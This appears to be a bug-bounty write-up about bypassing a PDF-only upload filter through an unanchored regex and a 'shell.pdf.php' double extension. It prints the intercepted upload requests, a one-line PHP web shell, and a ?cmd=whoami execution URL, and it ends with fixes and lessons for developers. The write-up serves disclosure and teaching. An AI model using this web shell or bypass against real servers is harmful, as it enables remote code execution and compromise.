



How a Loose Regex in a File Upload Component Led to a \$12,000 Remote Code Execution (RCE)

If you ask any bug hunter what their holy grail vulnerability is, the answer is almost always the same: Remote Code Execution (RCE). It is...

Tanvi Chauhan

Published June 19, 2026

Free: Yes

[Read on Freedium](#) · [original](#)

Contents

The Target: The Invoice Portal	3
The Footprint: Guessing the Regex	4
The Twist: Exploiting the Missing Anchor	4
The Exploit: Achieving Full RCE	5
The Payout and Fix	6
Core Lessons	6

If you ask any bug hunter what their holy grail vulnerability is, the answer is almost always the same: **Remote Code Execution (RCE)**. It is the ultimate exploit — gaining the ability to run arbitrary system commands directly on a target's backend server.

Historically, finding an RCE meant throwing complex binary payloads or memory corruption exploits at an edge service. But in modern web architecture, RCEs are frequently born from basic logical oversights in daily feature updates.

This is the story of how a global logistics firm — let's call them **LogiGlobal** — allowed me to execute system commands on their primary document-handling server, all because a regular expression (regex) was missing an anchor character.

The Target: The Invoice Portal

LogiGlobal handles millions of shipping manifests every day. To streamline operations, they built a customer portal where corporate clients could upload custom invoices, shipping labels, and customs declarations.

The upload form was heavily protected. It restricted uploads strictly to PDF files.

If you tried to upload a standard PHP shell (`shell.php`), the application immediately threw an error:

Error: Invalid file type. Only `.pdf` files are permitted.

I intercepted the upload request in Burp Suite to see what kind of validation was happening. The multi-part form request looked like this:

HTTP

```
POST /api/v1/documents/upload HTTP/1.1
Host: portal.logiglobal.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
-----WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="invoice.pdf"
Content-Type: application/pdf
%PDF-1.5 ... [Binary PDF Data] ...
-----WebKitFormBoundaryABC123--
```

I performed the foundational file-upload tests:

- **MIME-Type spoofing:** Keeping `filename="shell.php"` but changing `Content-Type` to `application/pdf`. (Blocked).

- **Magic byte injection:** Prepending the PDF header hex values (%PDF-1.5) to the top of a PHP script. (Blocked).
- **Null byte injection:** Naming the file `shell.php%00.pdf` or `shell.php\x00.pdf`. (Blocked).

The backend wasn't just checking the browser-supplied MIME type; it was actively inspecting the file extension on the server side using a strict validation block.

The Footprint: Guessing the Regex

Since I couldn't see the source code, I had to infer how the server was validating the file extension. Most developers use regular expressions to check filenames. A typical, secure implementation looks something like this:

Code snippet

```
/\.pdf$/i
```

The `$` anchor is critical here. It forces the regex engine to ensure that the string **ends** with `.pdf`.

But what happens if a developer forgets the anchor? What if the regex simply looks like this?

Code snippet

```
/\.pdf/i
```

Without the trailing anchor, the validation engine doesn't care what comes after `.pdf`. It only checks if the characters `.pdf` exist anywhere within the filename string.

The Twist: Exploiting the Missing Anchor

I decided to test this hypothesis by embedding `.pdf` into the middle of my malicious file name rather than the end.

I renamed my local PHP command execution script from `shell.php` to:

```
shell.pdf.php
```

Next, I loaded this file into the upload tool and hit **Send**.

HTTP

```
POST /api/v1/documents/upload HTTP/1.1
Host: portal.logiglobal.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
-----WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="shell.pdf.php"
Content-Type: application/php
<?php echo system($_GET['cmd']); ?>
-----WebKitFormBoundaryABC123--
```

I watched the response panel in Burp Suite. Instead of a hard `400 Bad Request`, the server responded with:

HTTP

```
HTTP/1.1 201 Created
Content-Type: application/json
{
  "status": "success",
  "file_id": "DOC_2026_99812",
  "url": "https://static.logiglobal.com/uploads/documents/shell.pdf.php"
}
```

The file was accepted! Because the filename contained `.pdf`, the unanchored regex match returned `true`, and the upload validation block waved it through.

Even better, the application didn't rename the file to a randomized UUID on disk; it preserved my original filename (`shell.pdf.php`) and saved it directly into a web-accessible directory (`/uploads/documents/`).

The Exploit: Achieving Full RCE

Because the web server (Apache/PHP) evaluated files based on their final extension, it looked at `shell.pdf.php`, ignored the inner `.pdf`, and executed it as a live PHP script.

I opened my browser and navigated to the provided URL, appending a basic system command parameter:

<https://static.logiglobal.com/uploads/documents/shell.pdf.php?cmd=whoami> (<https://static.logiglobal.com/uploads/documents/shell.pdf.php?cmd=whoami>)

The page loaded instantly, displaying a single line of raw text at the top of the screen:

Plaintext

www - data

I was live on the box. I followed up by executing `hostname` and `id` to confirm full command execution clarity, then instantly took screenshots for my report. I didn't drop a reverse shell or pivot deeper into the internal network; in a bug bounty context, demonstrating that you can execute basic commands like `whoami` is more than enough to establish maximum impact safely.

The Payout and Fix

I drafted a comprehensive proof-of-concept report detailing the regex bypass and submitted it straight to LogiGlobal's private bounty portal.

- **Submission:** Thursday, 10:00 PM
- **Triaged as Critical (P1):** Friday, 6:45 AM
- **Patch Deployed:** Friday, 11:15 AM
- **Bounty Awarded: \$12,000**

LogiGlobal resolved the issue globally by fixing the regex string to include the strict trailing anchor (`/\.pdf$/`), while also configuring their static asset storage bucket to entirely disable script execution (`php_flag engine off`), ensuring that even if a script bypassed the upload layer, it would only ever render as plain text.

Core Lessons

- **For Developers:** Input validation logic must be airtight. When writing regular expressions for paths, domains, or file extensions, always anchor your patterns (`^` for the start of a string, `$` for the end). Furthermore, always randomize uploaded filenames and store them on an isolated storage layer (like AWS S3) completely decoupled from your execution environment.
- **For Bug Hunters:** Double extensions (`.pdf.php` , `.jpg.html` , `.png.phtml`) are a timeless attack vector. If a file upload component feels secure, try changing the position of the valid extension inside your payload string to see if the validation filter relies on loose matching.

Have you ever turned a simple regex slip-up into a major security finding? Let's talk about it in the comments below! If you enjoyed this write-up, give it some claps and follow along for more real-world hacking breakdowns.

□□□□ ♡